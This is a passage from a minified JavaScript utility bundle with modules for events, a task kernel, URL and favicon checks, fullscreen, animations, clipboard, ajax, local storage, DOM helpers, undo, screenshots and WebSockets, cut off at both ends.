2662 return '<span class="sh_keyword2">' + t(s[f++] || "") + "</span>"
2663 }) + (n ? "" : "</code>")
2664}
2665r.$io.str || (r.$io = {
2666 str: {}
2667}), r.$io.str.hilit = n, r.$io.str.freeText = t
2668}(this);
2669//js/watch.js
2670function $watch(n) {
2671n = n || {};
2672var e = {},
2673 r = Array.prototype.slice,
2674 t = function(n, e) {
2675 n.replace(/\S+/g, e)
2676 },
2677 o = function(e, r) {
2678 Object.defineProperty(n, e, {
2679 value: r,
2680 enumerable: !1,
2681 writable: !1,
2682 configurable: !1
2683 })
2684 };
2685return n.observers = e, o("on", function(r, o) {
2686 return "function" != typeof o ? n : (t(r, function(n, r) {
2687 (e[n] = e[n] || []).push(o), o.typed = r > 0
2688 }), n)
2689}), o("off", function(r, o) {
2690 return "*" != r || o ? t(r, function(n) {
2691 if (o)
2692 for (var r, t = e[n], c = 0; r = t && t[c]; ++c) r == o && t.splice(c--, 1);
2693 else delete e[n]
2694 }) : e = {}, n
2695}), o("once", function(e, r) {
2696 function t() {
2697 n.off(e, t), r.apply(n, arguments)
2698 }
2699 return n.on(e, t)
2700}), o("trigger", function(o) {
2701 var c, u = r.call(arguments, 1);
2702 return t(o, function(t) {
2703 c = r.call(e[t] || [], 0);
2704 for (var o, f = 0; o = c[f]; ++f) {
2705 if (o.busy) return;
2706 o.busy = 1, o.apply(n, o.typed ? [t].concat(u) : u), c[f] !== o && f--, o.busy = 0
2707 }
2708 e["*"] && "*" != t && n.trigger.apply(n, ["*", t].concat(u))
2709 }), n
2710}), n
2711}
2712//js/kernel.js
2713! function(n) {
2714"use strict";
2715
2716function e(n, t) {
2717 if (arguments.length > 2) {
2718 var r = o.call(arguments),
2719 t = r.pop();
2720 e.series(r, t)
2721 } else $io.is.obj(n) && "function" == typeof t ? (e.data = n, t(n)) : $io.is.arr(n) && "function" == typeof t ? e.parallel(n, t) : "string" == typeof n && "function" == typeof t ? e.task(n, t) : "function" == typeof n ? e.task("modules", n) : "string" != typeof n || t || e.launch(n)
2722}
2723var t = {},
2724 r = {},
2725 o = Array.prototype.slice,
2726 a = {
2727 onerror: $noop,
2728 onready: $noop
2729 };
2730e.ready = t, e.tasks = r, e.config = function(n) {
2731 $extend(a, n)
2732}, e.task = function(n, e) {
2733 return (r[n] = r[n] || []).push(e), this
2734}, e.series = function(n, t) {
2735 function r(i) {
2736 if (i < n.length) {
2737 var s = n[i];
2738 "string" == typeof s ? (e.launch(s), e.on(s + ":ready", function(n) {
2739 n.length && (o[s] = n), r(++i)
2740 })) : e.parallel(s, function(n, e) {
2741 e.length && $extend(o, e), r(++i)
2742 })
2743 } else try {
2744 t(e.data, o)
2745 } catch (n) {
2746 n.message = "kernel.series.fn : " + n.message, a.onerror(n)
2747 }
2748 }
2749 var o = {};
2750 return r(0), this
2751}, e.parallel = function(n, r) {
2752 function o(o) {
2753 for (var s = 0, f = n.length; s < f; s++)
2754 if (!0 !== t[n[s]]) return;
2755 try {
2756 r(e.data, i)
2757 } catch (n) {
2758 n.message = "kernel.parallel.fn : " + n.message, a.onerror(n)
2759 }
2760 }
2761 var i = {};
2762 return $io.arr.all(n, function(n) {
2763 "string" == typeof n ? (e.launch(n), e.on(n + ":ready", function(e) {
2764 e.length && (i[n] = e), t[n] = !0, o()
2765 })) : e.series(n, function(e, r) {
2766 r.length && $extend(i, r), t[n] = !0, o()
2767 })
2768 }), this
2769}, e.launch = function(n) {
2770 function o() {
2771 t[n] = !0, a.onready(n), e.trigger(n + ":ready", e.data, s), e.off(n + ":ready")
2772 }
2773
2774 function i(n) {
2775 n && (s = s || []).push(n), 0 == --l && o()
2776 }
2777 var s, f, c, l = 0,
2778 u = r[n];
2779 if (u)
2780 for (f = 0, c = u.length; f < c; f++) ++l,
2781 function(t, r) {
2782 setTimeout(function() {
2783 try {
2784 t.length > 1 ? t(e.data, r) : r(t(e.data))
2785 } catch (e) {
2786 e.message = n + " : " + e.message, a.onerror(e), r(e)
2787 }
2788 }, 0)
2789 }(u[f], i);
2790 return this
2791}, n.$kernel = $watch(e)
2792}(this);
2793//js/utils.js
2794function $maxZ(e, n) {
2795var t, o, i, u, c = 0;
2796if ("string" == typeof e) t = (n || document).querySelectorAll(e);
2797else if ($io.isNodeList(e)) t = e;
2798else {
2799 if (!$io.isElement(e)) throw new Error("$maxZ: invalid selector");
2800 t = [e]
2801}
2802return $io.arr.all(t, function(e) {
2803 o = window.getComputedStyle(e, null), i = o.zIndex;
2804 var n = Number(i);
2805 "static" != o.position && "auto" != i && n > c && (u = e, c = n)
2806}), {
2807 num: c,
2808 el: u
2809}
2810}! function(e) {
2811"use strict";
2812
2813function n(e) {
2814 window.onhashchange = $noop, "replaceState" in history ? e ? history.replaceState("", document.title, "#!" + encodeURI(e) + window.location.search) : window.location.hash && history.replaceState("", document.title, window.location.pathname + window.location.search) : window.location.hash = e ? "!" + encodeURI(e) : "", setTimeout(function() {
2815 window.onhashchange = t
2816 }, 1e3)
2817}
2818
2819function t() {
2820 var e = location.hash;
2821 e && n.trigger("change", decodeURI(e.replace(/^#!/, "")))
2822}(n = $watch(n)).init = function() {
2823 t()
2824}, e.$route = n
2825}(window);
2826var $url = {
2827parseQuery: function(e) {
2828 return $io.arr.reduce(e.replace(/^\?/, "").split("&"), function(e, n) {
2829 var t = n.indexOf("="),
2830 o = n.slice(0, t),
2831 i = n.slice(++t);
2832 return e[o] = decodeURIComponent(i), e
2833 }, {})
2834},
2835getExtention: function(e) {
2836 var n = (e || "").match(/(?:\.)([0-9a-z]+)(?:[#?].+)?$/);
2837 return n && n[1] ? n[1] : ""
2838},
2839getDomain: function(e) {
2840 var n = (e || "").match(/:\/\/(.[^/]+)/);
2841 return null != n && n.length >= 2 ? n[1] : ""
2842},
2843checkImage: function(e, n) {
2844 function t() {
2845 o.width > 0 ? n(!0, e, o) : n(!1, e, o)
2846 }
2847 e || n(!1);
2848 var o = new Image;
2849 o.onload = t, o.onerror = t, o.onabort = t, o.src = e
2850},
2851_checkFavicon: function(e, n) {
2852 if (e && "" != $io.str.trim(e)) {
2853 var t, o = $url.getDomain(e);
2854 o ? $url.checkImage(t = "http://" + o + "/apple-touch-icon.png", function(e) {
2855 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.png", function(e) {
2856 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.ico", function(e) {
2857 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.gif", function(e) {
2858 e ? n(!0, t) : n(!1)
2859 })
2860 })
2861 })
2862 }) : n(!1)
2863 } else n(!1)
2864},
2865checkFavicon: function(e, n) {
2866 var t = ["/favicon-32x32.png", "/favicon.png", "/favicon.gif", "/favicon.ico"];
2867 if (e && "" != $io.str.trim(e)) {
2868 var o = $url.getDomain(e),
2869 i = !1,
2870 u = t.length - 1;
2871 if (o)
2872 for (var c = 0, r = t.length; c < r && !i; c++) $url.checkImage("http://" + o + t[c], function(e, t) {
2873 e && !i ? (i = !0, n(!0, t)) : i || 0 === --u && n(!1)
2874 });
2875 else n(!1)
2876 } else n(!1)
2877}
2878};
2879$url.query = function() {
2880 return $url.parseQuery(window.location.search.substring(1))
2881}(),
2882function(e) {
2883 "use strict";
2884
2885 function n() {
2886 return !!(document.fullscreenElement || document.mozFullScreenElement || document.webkitFullscreenElement || document.msFullscreenElement)
2887 }
2888
2889 function t() {
2890 document.documentElement.requestFullscreen ? document.documentElement.requestFullscreen() : document.documentElement.msRequestFullscreen ? document.documentElement.msRequestFullscreen() : document.documentElement.mozRequestFullScreen ? document.documentElement.mozRequestFullScreen() : document.documentElement.webkitRequestFullscreen && document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)
2891 }
2892
2893 function o() {
2894 document.exitFullscreen ? document.exitFullscreen() : document.msExitFullscreen ? document.msExitFullscreen() : document.mozCancelFullScreen ? document.mozCancelFullScreen() : document.webkitExitFullscreen && document.webkitExitFullscreen()
2895 }
2896
2897 function i(e, i) {
2898 u && (document.removeEventListener("fullscreenchange", u, !1), document.removeEventListener("webkitfullscreenchange", u, !1), document.removeEventListener("mozfullscreenchange", u, !1)), n() ? (o(), "function" == typeof i && i()) : (t(), "function" == typeof e && e()), u = function() {
2899 n() ? "function" == typeof e && e() : "function" == typeof i && i()
2900 }, document.addEventListener("fullscreenchange", u, !1), document.addEventListener("webkitfullscreenchange", u, !1), document.addEventListener("mozfullscreenchange", u, !1)
2901 }
2902 var u;
2903 e.$fullscreen = i
2904}(this),
2905function(e) {
2906 "use strict";
2907
2908 function n(e, n, t) {
2909 e.addEventListener("animationend", t, !1), e.addEventListener("webkitAnimationEnd", t, !1), e.addEventListener("MSAnimationEnd", t, !1), e.addEventListener("oAnimationEnd", t, !1), e.addEventListener("oanimationend", t, !1), e.classList.add(n)
2910 }
2911
2912 function t(e, n) {
2913 var t = document.createElement("div");
2914 t.className = e, document.body.appendChild(t), n("none" != window.getComputedStyle(t, null)[i] ? !0 : !1), t.parentNode.removeChild(t)
2915 }
2916
2917 function o(e, o, i) {
2918 function u() {
2919 i(!0), e.removeEventListener("animationend", u, !1), e.removeEventListener("webkitAnimationEnd", u, !1), e.removeEventListener("MSAnimationEnd", u, !1), e.removeEventListener("oAnimationEnd", u, !1), e.removeEventListener("oanimationend", u, !1), e.classList.remove(o)
2920 }
2921 t(o, function(t) {
2922 t ? n(e, o, u) : i(!1)
2923 })
2924 }
2925 var i = function() {
2926 var e = document.createElement("div"),
2927 n = "Khtml Ms ms MS O o Moz moz webkit Webkit webKit WebKit".split(" "),
2928 t = n.length;
2929 return function(o) {
2930 if (o in e.style) return o;
2931 o = o.replace(/^[a-z]/, function(e) {
2932 return e.toUpperCase()
2933 });
2934 for (var i = 0; i < t; i++)
2935 if (n[i] + o in e.style) return n[i] + o;
2936 return !1
2937 }
2938 }()("animationName");
2939 o.i = ["rubberBand", "swing", "tada", "wobble", "bounceIn", "bounceInDown", "bounceInLeft", "fadeIn", "fadeInDown", "fadeInDownBig", "fadeInLeft", "fadeInLeftBig", "fadeInRight", "flip", "flipInX", "flipInY", "lightSpeedIn", "rotateIn", "rotateInDownLeft", "rotateInDownRight", "rotateInUpRight", "slideInDown", "slideInLeft", "rollIn", "zoomIn", "zoomInDown", "zoomInLeft", "zoomInRight", "zoomInUp"], o.o = ["bounceOut", "bounceOutDown", "bounceOutLeft", "bounceOutRight", "bounceOutUp", "fadeOut", "fadeOutDown", "fadeOutDownBig", "fadeOutLeft", "fadeOutLeftBig", "fadeOutRight", "fadeOutRightBig", "fadeOutUp", "lightSpeedOut", "rotateOut", "rotateOutDownLeft", "rotateOutDownRight", "rotateOutUpLeft", "rotateOutUpRight", "slideOutLeft", "slideOutRight", "slideOutUp", "hinge", "rollOut", "zoomOut", "zoomOutDown", "zoomOutLeft", "zoomOutRight", "zoomOutUp"], e.$animate = o
2940}(this),
2941function(e) {
2942 "use strict";
2943 var n = document.body.classList;
2944 e.$state = {
2945 wait: function() {
2946 n.add("ui_wait")
2947 },
2948 isLoading: function() {
2949 return n.contains("ui_loading--block") || n.contains("ui_loading")
2950 },
2951 loading: function(e) {
2952 n.add(!0 === e ? "ui_loading--block" : "ui_loading")
2953 },
2954 loaded: function() {
2955 n.remove("ui_loading--block"), n.remove("ui_loading")
2956 },
2957 pause: function() {
2958 n.add("ui_pause")
2959 },
2960 play: function() {
2961 n.remove("ui_pause")
2962 }
2963 }
2964}(this);
2965//js/selection.js
2966! function(e) {
2967"use strict";
2968var t = {
2969 get: function() {
2970 var e = "";
2971 return window.getSelection ? e = window.getSelection().toString() : document.selection && "Control" != document.selection.type && (e = document.selection.createRange().text), e
2972 },
2973 create: function(e, t, o) {
2974 if (e.createTextRange) {
2975 var c = e.createTextRange();
2976 c.collapse(!0), c.moveStart("character", t), c.moveEnd("character", o), c.select(), e.focus()
2977 } else e.setSelectionRange ? (e.focus(), e.setSelectionRange(t, o)) : void 0 !== e.selectionStart && (e.selectionStart = t, e.selectionEnd = o, e.focus())
2978 },
2979 copy: function(e) {
2980 if ("string" == typeof e) {
2981 var t = document.createElement("textarea");
2982 t.value = e, document.body.appendChild(t), console.log(t), e = t
2983 }
2984 if (e)
2985 if (window.getSelection().removeAllRanges(), e.select) e.focus(), e.select();
2986 else {
2987 var o = document.createRange();
2988 o.selectNode(e), window.getSelection().addRange(o)
2989 }
2990 try {
2991 var c = document.execCommand("copy") ? "successful" : "unsuccessful";
2992 console.log("Copy command was " + c)
2993 } catch (e) {
2994 console.log("Oops, unable to copy")
2995 }
2996 e && window.getSelection().removeAllRanges()
2997 }
2998};
2999e.$selection = t
3000}(this);
3001//js/ajax.js
3002! function(e) {
3003"use strict";
3004
3005function t(e) {
3006 return e === Object(e)
3007}
3008
3009function n(e) {
3010 if (!t(e)) return e;
3011 var n = [];
3012 for (var r in e) null != e[r] && n.push(encodeURIComponent(r) + "=" + encodeURIComponent(e[r]));
3013 return n.join("&")
3014}
3015
3016function r(e) {
3017 var t, n;
3018 try {
3019 t = JSON.parse(e.responseText), n = !0
3020 } catch (r) {
3021 t = "text" === e.responseType || "" === e.responseType ? e.responseText : null, n = !1
3022 }
3023 return [t, e.status, e, n]
3024}
3025
3026function u() {
3027 if (window.XMLHttpRequest && ("file:" != window.location.protocol || !window.ActiveXObject)) return new XMLHttpRequest;
3028 try {
3029 return new ActiveXObject("Microsoft.XMLHTTP")
3030 } catch (e) {}
3031 try {
3032 return new ActiveXObject("Msxml2.XMLHTTP.6.0")
3033 } catch (e) {}
3034 try {
3035 return new ActiveXObject("Msxml2.XMLHTTP.3.0")
3036 } catch (e) {}
3037 try {
3038 return new ActiveXObject("Msxml2.XMLHTTP")
3039 } catch (e) {}
3040 return !1
3041}
3042
3043function o(e, t, o) {
3044 var s = new Error("nope"),
3045 a = u(),
3046 c = {
3047 done: function() {},
3048 fail: function() {},
3049 guest: function() {}
3050 },
3051 f = {
3052 done: function(e) {
3053 return c.done = e, f
3054 },
3055 fail: function(e) {
3056 return c.fail = e, f
3057 },
3058 guest: function(e) {
3059 return c.guest = e, f
3060 }
3061 },
3062 i = {
3063 arraybuffer: !1
3064 };
3065 return "GET" == e && o && (i = o, o = null), t && "/" !== t ? (a.open(e, t, !0), i.arraybuffer && (a.responseType = "arraybuffer"), a.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), a.setRequestHeader("X-Requested-With", "XMLHttpRequest"), o && o._csrf && (a.setRequestHeader("X-CSRF-Token", o._csrf), delete o._csrf), a.onreadystatechange = function() {
3066 if (4 === a.readyState)
3067 if (a.status >= 200 && a.status < 300) i.arraybuffer ? c.done.apply(c, [a.response, a.status, a, !1]) : c.done.apply(c, r(a));
3068 else if (401 == a.status) c.guest.call(c, a.statusText, {
3069 type: e.toLowerCase(),
3070 url: t,
3071 data: o
3072 });
3073 else {
3074 var n = r(a);
3075 s.message = e + " " + t + " " + n[2].status + " (" + n[2].statusText + ")", c.fail.apply(c, [s].concat(n))
3076 }
3077 }, o ? a.send(n(o)) : a.send()) : c.fail.call(c, "Invalid url"), f
3078}
3079
3080function s(e, t, n, r) {
3081 var u = o("GET", e);
3082 u.done(t || $noop), u.fail(n || $noop), u.guest(r || $noop)
3083}
3084s.get = function(e, t) {
3085 return o("GET", e, t)
3086}, s.post = function(e, t) {
3087 return o("POST", e, t)
3088}, s.delete = function(e, t) {
3089 return o("DELETE", e, t)
3090}, s.put = function(e, t) {
3091 return o("PUT", e, t)
3092}, s.buffer = function(e, t) {
3093 var n = new XMLHttpRequest;
3094 n.open("GET", e, !0), n.responseType = "arraybuffer", n.onload = function(e) {
3095 var r = n.response;
3096 r && t(r)
3097 }, n.send(null)
3098}, e.$ajax = s
3099}(this);
3100//js/chain.js
3101function $chain() {
3102"use strict";
3103
3104function t(t, n, i) {
3105 Object.defineProperty(t, i, {
3106 get: function() {
3107 var t = n();
3108 return void 0 === t ? this : t
3109 }
3110 })
3111}
3112
3113function n(t, n, i) {
3114 t[i] = function() {
3115 var t = n.apply(this, arguments);
3116 return void 0 === t ? this : t
3117 }
3118}
3119
3120function i(r, o, u) {
3121 return $io.isObject(o) && $io.obj.all(o, function(i, o) {
3122 !0 === u ? t(r, i, o) : n(r, i, o), "both" === u && (t(r, i, o), n(r, i, o))
3123 }), $io.isObject(u) ? i(r, u, !0) : r
3124}
3125var r = i.apply(null, arguments);
3126return r.prop = function(t) {
3127 return i(this, t, !0)
3128}, r.meth = function(t) {
3129 return i(this, t)
3130}, r
3131}
3132//js/db.js
3133! function(t) {
3134"use strict";
3135
3136function n(t, o, e) {
3137 n.get(o, function(n, o) {
3138 e(n, o || t)
3139 })
3140}
3141var o = t.localforage;
3142if (!o) throw new Error("Your browser don't support local save");
3143o.config({
3144 name: "fs",
3145 storeName: "a"
3146}), n.set = function(t, n, e) {
3147 var r = n;
3148 o.setItem(t, r, function(t, n) {
3149 t && $alert.error(t), (e || $noop)(t, n)
3150 })
3151}, n.get = function(t, n) {
3152 o.getItem(t, function(t, o) {
3153 var e = o;
3154 (n || $noop)(t, e)
3155 })
3156}, n.update = function(t, o, e) {
3157 n.get(t, function(r, u) {
3158 r || "function" != typeof o || n.set(t, o(u), e || $noop)
3159 })
3160}, n.getRaw = function(t, n) {
3161 o.getItem(t, n || $noop)
3162}, n.del = function(t, n) {
3163 o.removeItem(t, n || $noop)
3164}, n.clear = function(t) {
3165 o.clear(t || $noop)
3166}, n.keys = function(t) {
3167 o.keys(t || $noop)
3168}, n.store = o, t.$db = n
3169}(this),
3170function(t) {
3171function n(t, o, u, f) {
3172 var i = n.get(t);
3173 return i || (i = n.set(t, o)), "function" == typeof f && (r[t] = f), "function" == typeof u && (e[t] = u, u(i)), i
3174}
3175var o = window.localStorage,
3176 e = {},
3177 r = {};
3178if (!o) throw new Error("Your browser don't support local save");
3179n.set = function(t, e, r) {
3180 var u = e;
3181 if ("string" != typeof e) try {
3182 u = JSON.stringify(e)
3183 } catch (t) {}
3184 try {
3185 o.setItem(t, u), r || n.autoReady(t, e)
3186 } catch (t) {
3187 $alert.error(t)
3188 }
3189 return e
3190}, n.get = function(t) {
3191 var n = o.getItem(t);
3192 try {
3193 n = JSON.parse(n)
3194 } catch (t) {}
3195 return n
3196}, n.update = function(t, o) {
3197 var e = n.get(t);
3198 if ("function" == typeof o) return n.set(t, o(e))
3199}, n.getRaw = function(t) {
3200 return o.getItem(t)
3201}, n.del = function(t) {
3202 o.removeItem(t), e[t] = null, r[t] = null
3203}, n.onReady = function(t, n) {
3204 return "function" == typeof n && (e[t] = n), e[t]
3205}, n.onSave = function(t, n) {
3206 return "function" == typeof n && (r[t] = n), r[t]
3207}, n.autoReady = function(t, n) {
3208 e.hasOwnProperty(t) && "function" == typeof e[t] && e[t](n)
3209}, n.autoSave = function(t) {
3210 r.hasOwnProperty(t) && "function" == typeof r[t] && n.set(t, r[t](), !0)
3211}, n.clear = function() {
3212 o.clear();
3213 for (var t in e) e.hasOwnProperty(t) && (e[t] = null);
3214 for (var t in r) r.hasOwnProperty(t) && (r[t] = null)
3215}, n.keys = function() {
3216 return Object.keys(o)
3217}, window.self !== window.top && window.parent.$store ? t.$store = window.parent.$store : (window.addEventListener("beforeunload", function(t) {
3218 for (var o in r) n.autoSave(o)
3219}), t.$store = n)
3220}(this);
3221//js/el.js
3222! function(e) {
3223"use strict";
3224
3225function n(e, n) {
3226 r ? (clearTimeout(r), r = null, n(e), e.preventDefault()) : r = setTimeout(function() {
3227 r = null
3228 }, 300)
3229}
3230
3231function t(e, t) {
3232 "string" == typeof(e = e || {}) && (t || document).querySelector(e), 1 !== e.nodeType && (e = document);
3233 var r, o = !0;
3234 return $io.arr.all(i, function(n) {
3235 n.elem === e && (o = !1)
3236 }), o && i.push({
3237 elem: e,
3238 attach: []
3239 }), r = {
3240 get: function() {
3241 return e
3242 },
3243 html: function(n) {
3244 return n ? (e.innerHTML = n, r) : e.innerHTML
3245 },
3246 add: function(n) {
3247 return e.innerHTML = e.innerHTML + n, r
3248 },
3249 empty: function() {
3250 for (; e.firstChild;) e.removeChild(e.firstChild);
3251 return r
3252 },
3253 each: function(n, t) {
3254 for (var i = e.querySelectorAll(n), o = 0, c = i.length; o < c; o++) t.call(i[o], i[o], o);
3255 return r
3256 },
3257 append: function(n) {
3258 var t, i;
3259 if ("string" == typeof n) {
3260 (t = document.createElement("div")).innerHTML = n;
3261 for (var o = 0, c = (i = t.childNodes).length; o < c; o++) i[o] && 1 === i[o].nodeType && e.appendChild(i[o])
3262 } else e.appendChild(n);
3263 return r
3264 },
3265 click: function() {
3266 if ("createEvent" in document) {
3267 var n = document.createEvent("MouseEvents");
3268 n.initMouseEvent("click", !0, !1, window, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), e.dispatchEvent(n)
3269 } else e.fireEvent("onclick")
3270 },
3271 trigger: function(n) {
3272 if ("click" !== n)
3273 if ("createEvent" in document) {
3274 var t = document.createEvent("HTMLEvents");
3275 t.initEvent(n, !1, !0), e.dispatchEvent(t)
3276 } else e.fireEvent("on" + n);
3277 else r.click()
3278 },
3279 on: function(t, o, c, l) {
3280 function a(e) {
3281 if (!this.disabled) return !1 === c.call(this, e) ? (e.preventDefault(), e.stopPropagation(), e.stopImmediatePropagation(), !1) : void 0
3282 }
3283 "function" == typeof o && (l = c, c = o, o = null), l = !!l;
3284 var u = o ? $delegate(o, a) : a;
3285 return t.replace(/[^\s]+/g, function(t) {
3286 "doubletap" === t ? (u = function(e) {
3287 return function(t) {
3288 n(t, e.bind(this)), t.stopPropagation()
3289 }
3290 }(u), e.addEventListener("touchstart", u, l)) : e.addEventListener(t, u, l), $io.arr.all(i, function(n) {
3291 n.elem === e && n.attach.push({
3292 name: t,
3293 childs: o,
3294 handler: c,
3295 scopeHandler: u,
3296 useCapture: l
3297 })
3298 })
3299 }), r
3300 },
3301 off: function(n, t, o) {
3302 return o || (o = t, t = null), n.replace(/[^\s]+/g, function(n) {
3303 $io.arr.all(i, function(r) {
3304 r.elem === e && $io.arr.all(r.attach, function(r) {
3305 r.name == n && r.childs == t && r.handler == o && e.removeEventListener(n, r.scopeHandler, r.useCapture)
3306 })
3307 })
3308 }), r
3309 }
3310 }
3311}
3312var r = !1,
3313 i = [];
3314t.create = function(e, n, t) {
3315 var r = e.split(/[>| ]+/);
3316 if (t && r.pop(), !r && n) return n;
3317 var i, o;
3318 return $io.arr.all(r, function(e) {
3319 e.replace(/(\w+)?(#(\w+))?(\.([\w|.]+))?/, function(e, n, t, r, c, l) {
3320 var a = document.createElement(n || "div");
3321 r && (a.id = r), l && (a.className = l.split(".").join(" ")), o && o.appendChild(a), o = a, i || (i = o)
3322 })
3323 }), n && o.appendChild(n), i
3324}, t.each = function(e, n) {
3325 for (var r = document.querySelectorAll(e), i = 0, o = r.length; i < o; i++) n.call(r[i], r[i], i);
3326 return t
3327}, e.$el = t
3328}(this);
3329//js/on.js
3330! function(t) {
3331"use strict";
3332
3333function e(t, f) {
3334 if (!e.watchedElementData) {
3335 e.watchedElementData = [];
3336 var i = function() {
3337 e.watchedElementData.forEach(function(e) {
3338 t.offsetWidth === e.offsetWidth && t.offsetHeight === e.offsetHeight || (e.offsetWidth = t.offsetWidth, e.offsetHeight = t.offsetHeight, e.callback())
3339 })
3340 };
3341 window.addEventListener("resize", i), new MutationObserver(i).observe(document.body, {
3342 attributes: !0,
3343 childList: !0,
3344 characterData: !0,
3345 subtree: !0
3346 })
3347 }
3348 e.watchedElementData.push({
3349 element: t,
3350 offsetWidth: t.offsetWidth,
3351 offsetHeight: t.offsetHeight,
3352 callback: f
3353 })
3354}
3355t.$on = {
3356 resize: e
3357}
3358}(this);
3359//js/extend.js
3360! function(t) {
3361"use strict";
3362
3363function e(t) {
3364 var a, l, p, i, y = !1;
3365 for ("boolean" == typeof t || "string" == typeof t ? (a = c.call(arguments, 1), t = !0 === t ? "deep" : t) : (a = arguments, t = !1), "concat" === t && (t = "deep", y = !0), l = a[0], p = 1, i = a.length; p < i; p++) {
3366 var s = a[p];
3367 for (var u in s) {
3368 var f = s[u];
3369 ("strict" != t || r.call(l, u)) && ("deep" != t || "[object Object]" !== n.call(f) ? y && o(f) ? o(l[u]) ? l[u] = l[u].concat(f) : l[u] = [].concat(f) : l[u] = f : ("[object Object]" !== n.call(l[u]) && (l[u] = {}), e(t, l[u], f)))
3370 }
3371 }
3372 return l
3373}
3374var r = Object.prototype.hasOwnProperty,
3375 c = Array.prototype.slice,
3376 n = Object.prototype.toString,
3377 o = Array.isArray ? Array.isArray : function(t) {
3378 return t && "object" == typeof t && "number" == typeof t.length && "[object Array]" == n.call(t) || !1
3379 };
3380e.deep = function() {
3381 return e.apply(this, ["deep"].concat(c.call(arguments)))
3382}, e.strict = function() {
3383 return e.apply(this, ["strict"].concat(c.call(arguments)))
3384}, e.clone = function() {
3385 return e.apply(this, ["deep", {}].concat(c.call(arguments)))
3386}, t.$extend = e
3387}(this);
3388//js/undo.js
3389function $undo(n) {
3390var t = n || [],
3391 r = n ? n.length : 0,
3392 e = window.$noop || function(n) {};
3393return {
3394 get: function() {
3395 return t.slice(0, r >= 0 ? r : 0)
3396 },
3397 cursor: function() {
3398 return r
3399 },
3400 history: function() {
3401 return t
3402 },
3403 clear: function() {
3404 t.length = r = 0
3405 },
3406 add: function(n) {
3407 return t.splice(r++, t.length, n), n
3408 },
3409 each: function(n) {
3410 r > t.length && (r = t.length);
3411 for (var e = 0; e < r; e++) n(t[e])
3412 },
3413 redo: function(n) {
3414 if (r++ > t.length && (r = t.length + 1), r <= 0 && (r = 1), t[r - 1]) {
3415 var o = t[r - 1].redo ? t[r - 1].redo() : t[r - 1];
3416 (n || e)(o)
3417 }
3418 return o
3419 },
3420 undo: function(n) {
3421 if (--r < -1 && (r = -1), r >= t.length && (r = t.length - 1), t[r]) {
3422 var o = t[r].undo ? t[r].undo() : t[r];
3423 (n || e)(o)
3424 }
3425 return o
3426 }
3427}
3428}
3429//js/screenshot.js
3430! function(e) {
3431"use strict";
3432
3433function t(e, o, i) {
3434 "function" == typeof o && (i = o, o = {});
3435 var r, a, l = $extend({}, n, o);
3436 return $loader(["/c/libs/rasterizeHTML.allinone.js"], function() {
3437 var n, o = "<style>",
3438 c = !1;
3439 if (e) {
3440 if ("string" == typeof e) n = document.querySelector(e), r = $el.create(e, n.cloneNode(!0));
3441 else if ($io.isElement(e))(r = (n = e).cloneNode(!0)).id = "screenshot__unique__selector", e = "#" + r.id;
3442 else {
3443 if (!$io.isDocument(e)) return void console.error("$screenshot : invalid selector!");
3444 c = !0, n = e, r = e.cloneNode(!0)
3445 }
3446 var s = l.width || n.offsetWidth,
3447 u = l.height || n.offsetHeight;
3448 c || (o += "body {background:transparent !important}\n" + e + " {width:" + s + "px!important;height:" + u + "px!important;position:absolute!important; top:0px!important;left:0px!important}\n")
3449 } else {
3450 n = l.default, r = n.cloneNode(!0);
3451 var s = n.offsetWidth,
3452 u = n.offsetHeight
3453 }
3454 if (r) {
3455 $io.arr.all(r.querySelectorAll(".js_image_inline"), function(e) {
3456 o += '.js_image_inline[data-image-id="' + e.dataset.imageId + '"] { background-image: ' + e.style.backgroundImage + "!important; background-size: " + e.style.backgroundSize + "!important; background-position: " + e.style.backgroundPosition + "!important; background-repeat: " + e.style.backgroundRepeat + "!important;}"
3457 }), o += "</style>", $io.arr.all(document.styleSheets, function(e) {
3458 o += e.ownerNode.outerHTML
3459 });
3460 var d = document.createElement("canvas");
3461 d.width = s + 1, d.height = u + 1, a = function(e, t) {
3462 rasterizeHTML[c ? "drawDocument" : "drawHTML"](c ? r : o + e, d, {
3463 useBlobs: !1,
3464 baseUrl: c ? null : window.location.origin
3465 }).then(function(e) {
3466 t(d, n || r, e)
3467 }, function(e) {
3468 $alert.error(e)
3469 })
3470 };
3471 var f = r.querySelectorAll("iframe"),
3472 h = r.querySelectorAll("canvas"),
3473 g = f.length + h.length;
3474 if (g) {
3475 if (f.length) {
3476 var m = n.querySelectorAll("iframe");
3477 $io.arr.each(f, function(e, n) {
3478 t(m[n].contentDocument, {
3479 width: m[n].clientWidth,
3480 height: m[n].clientHeight
3481 }, function(t, o, l) {
3482 e.parentNode.replaceChild(l.image, e), l.image.style.cssText = window.getComputedStyle(m[n], "").cssText, l.image.style.width = m[n].clientWidth + "px", l.image.style.height = m[n].clientHeight + "px", 0 == --g && a(r.outerHTML, i)
3483 })
3484 })
3485 }
3486 if (h.length) {
3487 var p = n.querySelectorAll("canvas");
3488 $io.arr.each(h, function(e, t) {
3489 var n = new Image;
3490 n.src = p[t].toDataURL(), e.parentNode.replaceChild(n, e), n.style.cssText = window.getComputedStyle(p[t], "").cssText, 0 == --g && a(r.outerHTML, i)
3491 })
3492 }
3493 } else a(r.outerHTML, i)
3494 }
3495 }), {
3496 refresh: function(e) {
3497 a(r.outerHTML, e)
3498 },
3499 destroy: function() {
3500 canvas = null, html = null, r = null
3501 }
3502 }
3503}
3504var n = {
3505 default: document.body
3506};
3507t.config = function(e) {
3508 $extend(n, e)
3509}, e.$screenshot = t
3510}(this);
3511//js/socket.js
3512! function(n) {
3513"use strict";
3514
3515function t(n) {
3516 var t = {};
3517 this.on = function(n, o) {
3518 return t[n] = t[n] || [], t[n].push(o), this
3519 }, this.send = function(n, t) {
3520 return this.conn.send(t), this
3521 }, this.connect = function() {
3522 "function" == typeof MozWebSocket ? this.conn = new MozWebSocket(n) : this.conn = new WebSocket(n), this.conn.onmessage = function(n) {
3523 o("message", n.data)
3524 }, this.conn.onclose = function() {
3525 o("close", null)
3526 }, this.conn.onopen = function() {
3527 o("open", null)
3528 }
3529 }, this.disconnect = function() {
3530 this.conn.close()
3531 };
3532 var o = function(n, o) {
3533 var c = t[n];
3534 if (void 0 !== c)
